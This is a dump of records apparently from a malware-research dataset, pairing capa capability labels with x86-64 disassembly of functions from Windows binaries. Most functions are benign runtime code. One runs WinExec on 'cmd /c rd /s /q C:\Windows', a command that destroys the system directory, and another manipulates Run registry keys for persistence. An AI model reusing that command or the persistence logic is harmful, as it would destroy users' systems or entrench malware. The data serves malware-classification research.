joyce8/EMBER2024-capa huggingface dataset:
Function at 0x142029058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x1420291df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x142029089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14202906f
add dl, dl
jne 0x142029096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1420290f6
xor eax, eax
add dl, dl
jne 0x1420290a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1420291ad
add dl, dl
jne 0x1420290b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1420290c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1420290d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1420290dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1420290ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14202907e
mov eax, 1
add dl, dl
jne 0x142029106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x142029113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1420290fb
sub eax, ebx
mov ebx, 1
jne 0x14202914c
mov ecx, 1
add dl, dl
jne 0x14202912e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14202913b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x142029123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14202907e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x142029168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x142029175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14202915d
cmp eax, 0x7d00
jae 0x14202919b
cmp eax, 0x500
jb 0x142029196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14202907e
cmp eax, 0x7f
ja 0x14202919e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14202907e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1420291d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14202907e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140994058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1409941df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140994089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14099406f
add dl, dl
jne 0x140994096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409940f6
xor eax, eax
add dl, dl
jne 0x1409940a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409941ad
add dl, dl
jne 0x1409940b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409940c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409940d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409940dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1409940ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14099407e
mov eax, 1
add dl, dl
jne 0x140994106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140994113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1409940fb
sub eax, ebx
mov ebx, 1
jne 0x14099414c
mov ecx, 1
add dl, dl
jne 0x14099412e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14099413b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140994123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14099407e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140994168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140994175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14099415d
cmp eax, 0x7d00
jae 0x14099419b
cmp eax, 0x500
jb 0x140994196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14099407e
cmp eax, 0x7f
ja 0x14099419e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14099407e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1409941d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14099407e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x140003c6c
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140003ad4

Function at 0x140006eac
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r14
push r15
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov r15, rcx
xor ecx, ecx
mov ebp, r8d
mov r12, rdx
call qword [0x14000e040]
xor edi, edi
mov rsi, rax
call fcn.140004a00
cmp qword [0x1400178d0], rdi
mov r14d, eax
jne 0x140006fed
lea rcx, str.USER32.DLL
xor edx, edx
mov r8d, 0x800
call qword [0x14000e180]
mov rbx, rax
test rax, rax
jne 0x140006f3f
call qword [0x14000e028]
cmp eax, 0x57
jne 0x140007101
lea rcx, str.USER32.DLL
xor r8d, r8d
xor edx, edx
call qword [0x14000e180]
mov rbx, rax
test rax, rax
je 0x140007101
lea rdx, str.MessageBoxW
mov rcx, rbx
call qword [0x14000e060]
test rax, rax
je 0x140007101
mov rcx, rax
call qword [0x14000e040]
lea rdx, str.GetActiveWindow
mov rcx, rbx
mov qword [0x1400178d0], rax
call qword [0x14000e060]
mov rcx, rax
call qword [0x14000e040]
lea rdx, str.GetLastActivePopup
mov rcx, rbx
mov qword [0x1400178d8], rax
call qword [0x14000e060]
mov rcx, rax
call qword [0x14000e040]
lea rdx, str.GetUserObjectInformationW
mov rcx, rbx
mov qword [0x1400178e0], rax
call qword [0x14000e060]
mov rcx, rax
call qword [0x14000e040]
mov qword [0x1400178f0], rax
test rax, rax
je 0x140006fed
lea rdx, str.GetProcessWindowStation
mov rcx, rbx
call qword [0x14000e060]
mov rcx, rax
call qword [0x14000e040]
mov qword [0x1400178e8], rax
call qword [0x14000e018]
test eax, eax
je 0x140007014
test r15, r15
je 0x140007005
mov rcx, r15
call qword [0x14000e188]
test r14d, r14d
je 0x140007030
mov eax, 4
jmp 0x140007103
test r14d, r14d
je 0x140007030
mov rcx, qword [0x1400178d0]
call qword [0x14000e048]
mov eax, 3
jmp 0x140007103
mov rcx, qword [0x1400178e8]
cmp rcx, rsi
je 0x14000709f
cmp qword [0x1400178f0], rsi
je 0x14000709f
call qword [0x14000e048]
mov rcx, qword [0x1400178f0]
mov rbx, rax
call qword [0x14000e048]
mov r14, rax
test rbx, rbx
je 0x14000709f
test rax, rax
je 0x14000709f
call rbx
test rax, rax
je 0x140007099
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r14
test eax, eax
je 0x140007099
test byte [rsp + 0x40], 1
jne 0x14000709f
bts ebp, 0x15
jmp 0x1400070df
mov rcx, qword [0x1400178d8]
cmp rcx, rsi
je 0x1400070df
call qword [0x14000e048]
test rax, rax
je 0x1400070df
call rax
mov rdi, rax
test rax, rax
je 0x1400070df
mov rcx, qword [0x1400178e0]
cmp rcx, rsi
je 0x1400070df
call qword [0x14000e048]
test rax, rax
je 0x1400070df
mov rcx, rdi
call rax
mov rdi, rax
mov rcx, qword [0x1400178d0]
call qword [0x14000e048]
test rax, rax
je 0x140007101
mov r9d, ebp
mov r8, r12
mov rdx, r15
mov rcx, rdi
call rax
jmp 0x140007103
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.140003020
add rsp, 0x50
pop r15
pop r14
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x401010
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
mov rax, qword [0x00404480]
xor edx, edx
mov dword [rax], 1
mov rax, qword [0x00404490]
mov dword [rax], 1
mov rax, qword [0x004044a0]
mov dword [rax], 1
mov rax, qword [0x00404470]
mov dword [rax], 1
mov rax, qword [0x00404360]
cmp word [rax], 0x5a4d
je 0x4010b0
mov rax, qword [0x00404460]
mov dword [0x00407008], edx
mov eax, dword [rax]
test eax, eax
je 0x4010a0
mov ecx, 2
call sym.__set_app_type
call sym.__p__fmode
mov rdx, qword [0x00404420]
mov edx, dword [rdx]
mov dword [rax], edx
call sym._setargv
mov rax, qword [0x00404310]
cmp dword [rax], 1
je 0x4010f0
xor eax, eax
add rsp, 0x28
ret
mov ecx, 1
call sym.__set_app_type
jmp 0x401075
movsxd rcx, dword [rax + 0x3c]
add rax, rcx
cmp dword [rax], 0x4550
jne 0x401058
movzx ecx, word [rax + 0x18]
cmp cx, 0x10b
je 0x401103
cmp cx, 0x20b
jne 0x401058
cmp dword [rax + 0x84], 0xe
jbe 0x401058
mov ecx, dword [rax + 0xf8]
xor edx, edx
test ecx, ecx
setne dl
jmp 0x401058
lea rcx, [sym._matherr]
call sym.__mingw_setusermatherr
xor eax, eax
add rsp, 0x28
ret
cmp dword [rax + 0x74], 0xe
jbe 0x401058
mov r8d, dword [rax + 0xe8]
xor edx, edx
test r8d, r8d
setne dl
jmp 0x401058

Function at 0x401550
Capabilities:
Create process on windows

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
call sym.__main
lea rax, str.cmd__c_rd__s__q__C:Windows_
mov qword [rbp - 8], rax
mov rax, qword [rbp - 8]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WinExec]
call rax
mov eax, 0
add rsp, 0x30
pop rbp
ret
Function at 0x402c30
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sym.__acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sym.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x140011253
Capabilities:
Terminate process

Disassembly:
jmp 0x140013b00
mov qword [rsp + 8], rcx
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
nop
add rsp, 0x28
ret

Function at 0x1400112ee
Capabilities:
Parse pe header

Disassembly:
jmp 0x140014e50
sub rsp, 0x38
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov qword [rsp + 0x20], rax
cmp qword [rsp + 0x20], 0
jne 0x140014e70
xor al, al
jmp 0x140014ef1
mov rax, qword [rsp + 0x20]
movzx eax, word [rax]
cmp eax, 0x5a4d
je 0x140014e83
xor al, al
jmp 0x140014ef1
mov rax, qword [rsp + 0x20]
movsxd rax, dword [rax + 0x3c]
mov rcx, qword [rsp + 0x20]
add rcx, rax
mov rax, rcx
mov qword [rsp + 0x28], rax
mov rax, qword [rsp + 0x28]
cmp dword [rax], 0x4550
je 0x140014ead
xor al, al
jmp 0x140014ef1
mov rax, qword [rsp + 0x28]
movzx eax, word [rax + 0x18]
cmp eax, 0x20b
je 0x140014ec1
xor al, al
jmp 0x140014ef1
mov rax, qword [rsp + 0x28]
cmp dword [rax + 0x84], 0xe
ja 0x140014ed3
xor al, al
jmp 0x140014ef1
mov eax, 8
imul rax, rax, 0xe
mov rcx, qword [rsp + 0x28]
cmp dword [rcx + rax + 0x88], 0
jne 0x140014eef
xor al, al
jmp 0x140014ef1
mov al, 1
add rsp, 0x38
ret
Function at 0x140012d30
Capabilities:
Terminate process

Disassembly:
sub rsp, 0x68
mov ecx, 1
call fcn.140011429
movzx eax, al
test eax, eax
jne 0x140012d50
mov ecx, 7
call fcn.14001139d
nop
mov byte [rsp + 0x20], 0
call fcn.1400113b1
mov byte [rsp + 0x21], al
cmp dword [0x14001e868], 1
jne 0x140012d74
mov ecx, 7
call fcn.14001139d
nop
jmp 0x140012dcc
cmp dword [0x14001e868], 0
jne 0x140012dc7
mov dword [0x14001e868], 1
lea rdx, [0x14001a660]
lea rcx, [0x14001a330]
call fcn.1400111f9
test eax, eax
je 0x140012da8
mov eax, 0xff
jmp 0x140012ed1
lea rdx, [0x14001a220]
lea rcx, [section..rdata]
call fcn.1400113a7
mov dword [0x14001e868], 2
jmp 0x140012dcc
mov byte [rsp + 0x20], 1
movzx ecx, byte [rsp + 0x21]
call fcn.140011389
call fcn.140011316
mov qword [rsp + 0x30], rax
mov rax, qword [rsp + 0x30]
cmp qword [rax], 0
je 0x140012e29
mov rcx, qword [rsp + 0x30]
call fcn.14001119f
movzx eax, al
test eax, eax
je 0x140012e29
mov rax, qword [rsp + 0x30]
mov rax, qword [rax]
mov qword [rsp + 0x48], rax
mov rax, qword [rsp + 0x48]
mov qword [rsp + 0x50], rax
xor r8d, r8d
mov edx, 2
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call qword [0x140025020]
nop
call fcn.14001134d
mov qword [rsp + 0x38], rax
mov rax, qword [rsp + 0x38]
cmp qword [rax], 0
je 0x140012e5d
mov rcx, qword [rsp + 0x38]
call fcn.14001119f
movzx eax, al
test eax, eax
je 0x140012e5d
mov rax, qword [rsp + 0x38]
mov rcx, qword [rax]
call fcn.1400113e8
nop
call fcn.140012f80
mov dword [rsp + 0x28], eax
call fcn.1400112ee
movzx eax, al
test eax, eax
jne 0x140012e7c
mov ecx, dword [rsp + 0x28]
call fcn.140011069
nop
movzx eax, byte [rsp + 0x20]
test eax, eax
jne 0x140012e8b
call fcn.1400113f2
nop
xor edx, edx
mov cl, 1
call fcn.14001118b
mov eax, dword [rsp + 0x28]
jmp 0x140012ed1
add rsp, 0x68
ret
Function at 0x140002ca0
Capabilities:
Accept command line arguments
Delete registry value
Persist via run registry key
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x20], rsi
push rbp
push r14
push r15
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov rax, qword [0x1400086c8]
xor rax, rsp
mov qword [rbp + 0x70], rax
xor r15d, r15d
mov esi, r15d
call qword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov r14, rax
test rax, rax
je 0x140002ed3
lea rax, [rsp + 0x40]
mov r9d, 0xf013f
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [0x1400010b0]
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x140002d28
lea r8, [rsp + 0x40]
mov rcx, 0xffffffff80000001
lea rdx, [0x1400010b0]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x140002ed3
mov edx, 0x1000
mov qword [rsp + 0x1a0], rbx
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rbx, rax
test rax, rax
je 0x140002ebc
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x58]
lea rax, [rsp + 0x54]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x60]
mov qword [rsp + 0x1a8], rdi
xor edx, edx
mov qword [rsp + 0x20], r15
mov edi, r15d
mov dword [rsp + 0x58], 0x104
mov dword [rsp + 0x50], 0x1000
mov dword [rsp + 0x54], r15d
call qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
jne 0x140002eab
mov qword [rsp + 0x1b0], r12
mov r12d, 1
nop word [rax + rax]
cmp dword [rsp + 0x54], r12d
jne 0x140002e54
mov rdx, r14
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
jne 0x140002e54
mov rcx, qword [rsp + 0x40]
lea rdx, [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov r9d, 0xf013f
lea rdx, [0x1400010e0]
test eax, eax
mov rcx, 0xffffffff80000001
lea rax, [rsp + 0x48]
cmove esi, r12d
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x140002e39
lea r8, [rsp + 0x48]
mov rcx, 0xffffffff80000001
lea rdx, [0x1400010e0]
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
jne 0x140002e54
mov rcx, qword [rsp + 0x48]
lea rdx, [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_RegDeleteValueA]
mov rcx, qword [rsp + 0x48]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x40]
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea r9, [rsp + 0x58]
lea rax, [rsp + 0x54]
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rax
lea r8, [rsp + 0x60]
inc edi
mov qword [rsp + 0x20], r15
mov edx, edi
mov dword [rsp + 0x58], 0x104
mov dword [rsp + 0x50], 0x1000
call qword [sym.imp.ADVAPI32.dll_RegEnumValueA]
test eax, eax
je 0x140002dc0
mov r12, qword [rsp + 0x1b0]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_LocalFree]
mov rdi, qword [rsp + 0x1a8]
mov rcx, qword [rsp + 0x40]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rbx, qword [rsp + 0x1a0]
mov eax, esi
jmp 0x140002ed5
xor eax, eax
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.140005fc0
mov rsi, qword [rsp + 0x1b8]
add rsp, 0x180
pop r15
pop r14
pop rbp
ret
Function at 0x140003250
Capabilities:
Get hostname
Query or enumerate registry value

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r15
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov rax, qword [0x1400086c8]
xor rax, rsp
mov qword [rbp + 0x90], rax
mov r15, rcx
cmp edx, 0x21
jb 0x14000345c
lea rcx, [0x1400012a0]
mov edi, 1
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov rcx, rax
lea rdx, [0x140001290]
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
xor ebx, ebx
mov rsi, rax
test rax, rax
je 0x1400032d6
mov dword [rsp + 0x30], ebx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0x30]
call rsi
cmp dword [rsp + 0x30], ebx
mov eax, 0x101
cmovne edi, eax
lea rax, [rsp + 0x50]
mov r9d, edi
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [0x1400012b0]
mov rcx, 0xffffffff80000002
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x14000345c
mov rcx, qword [rsp + 0x50]
lea rax, [rsp + 0x38]
mov qword [rsp + 0x28], rax
lea r9, [rsp + 0x34]
lea rax, [rbp - 0x80]
mov dword [rsp + 0x38], 0x104
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, [0x1400012d0]
mov dword [rsp + 0x34], ebx
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x140003451
cmp dword [rsp + 0x34], 1
jne 0x140003451
cmp dword [rsp + 0x38], ebx
jbe 0x140003451
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea rdx, [rsp + 0x3c]
mov dword [rsp + 0x3c], reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
jne 0x14000338a
call qword [sym.imp.KERNEL32.dll_GetLastError]
jmp 0x14000345c
mov qword [rsp + 0x1c8], r14
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x48]
mov qword [rsp + 0x48], rbx
mov r14d, ebx
mov qword [rsp + 0x40], rbx
call fcn.140004530
test eax, eax
je 0x140003444
lea rcx, [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_lstrlenA]
mov rcx, qword [rsp + 0x40]
lea rdx, [rbp - 0x80]
mov r8d, eax
call fcn.1400045c0
test eax, eax
je 0x140003435
mov r8d, dword [rsp + 0x3c]
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x40]
add r8d, r8d
call fcn.1400045c0
test eax, eax
je 0x140003435
mov rcx, qword [rsp + 0x40]
lea rdx, [rsp + 0x50]
call fcn.1400044e0
mov r14d, eax
test eax, eax
je 0x140003435
mov edi, ebx
lea rsi, [rsp + 0x50]
nop dword [rax]
movzx r8d, byte [rsi]
lea rdx, [0x1400012dc]
movsxd rcx, edi
add rcx, r15
call qword [sym.imp.USER32.dll_wsprintfA]
inc ebx
lea rsi, [rsi + 1]
add edi, 2
cmp ebx, 0x10
jb 0x140003410
mov rdx, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
call fcn.140004390
mov eax, r14d
mov r14, qword [rsp + 0x1c8]
jmp 0x14000345e
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
mov rcx, qword [rbp + 0x90]
xor rcx, rsp
call fcn.140005fc0
lea r11, [rsp + 0x1a0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop rdi
pop rbp
ret
Function at 0x140003490
Capabilities:
Receive data
Receive data on socket

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
sub rsp, 0xa0
mov rax, qword [0x1400086c8]
xor rax, rsp
mov qword [rsp + 0x90], rax
mov r9, qword [0x1400088d0]
xor eax, eax
mov qword [rsp + 0x68], rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
mov dword [rsp + 0x40], socket
lea rax, [rsp + 0x40]
mov qword [rsp + 0x30], rax
mov rbp, rcx
lea rax, [rsp + 0x4c]
mov dword [rsp + 0x48], 2
mov qword [rsp + 0x28], rax
xor r8d, r8d
movups xmmword [rsp + 0x58], xmm0
mov eax, dword [r9 + 0x10]
mov edx, 0x8004
mov r9, qword [r9 + 8]
xor ecx, ecx
mov dword [rsp + 0x20], eax
call qword [sym.imp.CRYPT32.dll_CryptHashCertificate]
test eax, eax
je 0x1400036b8
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x60]
call fcn.140004920
test eax, eax
je 0x1400036be
mov rcx, qword [0x1400088d0]
call fcn.140004780
mov esi, eax
test eax, eax
je 0x1400036be
mov edx, esi
mov ecx, 0x40
call qword [sym.imp.KERNEL32.dll_LocalAlloc]
mov rdi, rax
test rax, rax
je 0x1400036b8
mov r8d, esi
mov qword [rsp + 0xc8], r14
xor edx, edx
mov rcx, rax
call fcn.140005f00
movups xmm0, xmmword [rsp + 0x48]
xor ebx, ebx
mov r9d, esi
mov rdx, rdi
mov r14d, ebx
movups xmmword [rdi], xmm0
movups xmm1, xmmword [rsp + 0x58]
lea r8d, [rbx + 0x28]
movups xmmword [rdi + 0x10], xmm1
movsd xmm0, qword [rsp + 0x68]
movsd qword [rdi + 0x20], xmm0
mov rcx, qword [0x1400088d0]
call fcn.1400045d0
test eax, eax
je 0x1400035be
mov r8d, esi
mov rdx, rdi
mov rcx, rbp
call fcn.140003e40
mov r14d, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_LocalFree]
test r14d, r14d
mov r14, qword [rsp + 0xc8]
je 0x1400036be
lea r8, [rsp + 0x80]
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x60]
call fcn.1400043c0
test eax, eax
je 0x1400036be
nop word [rax + rax]
mov r8d, reloc.WS2_32.dll_recv
movsxd rax, ebx
lea rdx, [rsp + 0x70]
sub r8d, ebx
add rdx, rax
xor r9d, r9d
mov rcx, rbp
call qword [sym.imp.WS2_32.dll_recv]
lea ecx, [rax + 1]
cmp ecx, 1
jbe 0x1400036b0
add ebx, eax
cmp ebx, 0x10
jl 0x140003600
cmp dword [0x1400088c4], 0
je 0x140003653
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x70]
lea rcx, [0x1400089f0]
call fcn.140005c20
mov rax, qword [rsp + 0x80]
cmp rax, qword [rsp + 0x70]
jne 0x1400036be
mov rax, qword [rsp + 0x88]
cmp rax, qword [rsp + 0x78]
jne 0x1400036be
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x60]
lea rcx, [0x1400089f0]
call fcn.140005cb0
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x60]
lea rcx, [0x1400088e0]
call fcn.140005cb0
mov eax, 1
mov dword [0x1400088c4], 1
jmp 0x1400036c0
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x1400036be
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov rcx, qword [rsp + 0x90]
xor rcx, rsp
call fcn.140005fc0
mov rbx, qword [rsp + 0xd0]
add rsp, 0xa0
pop rdi
pop rsi
pop rbp
ret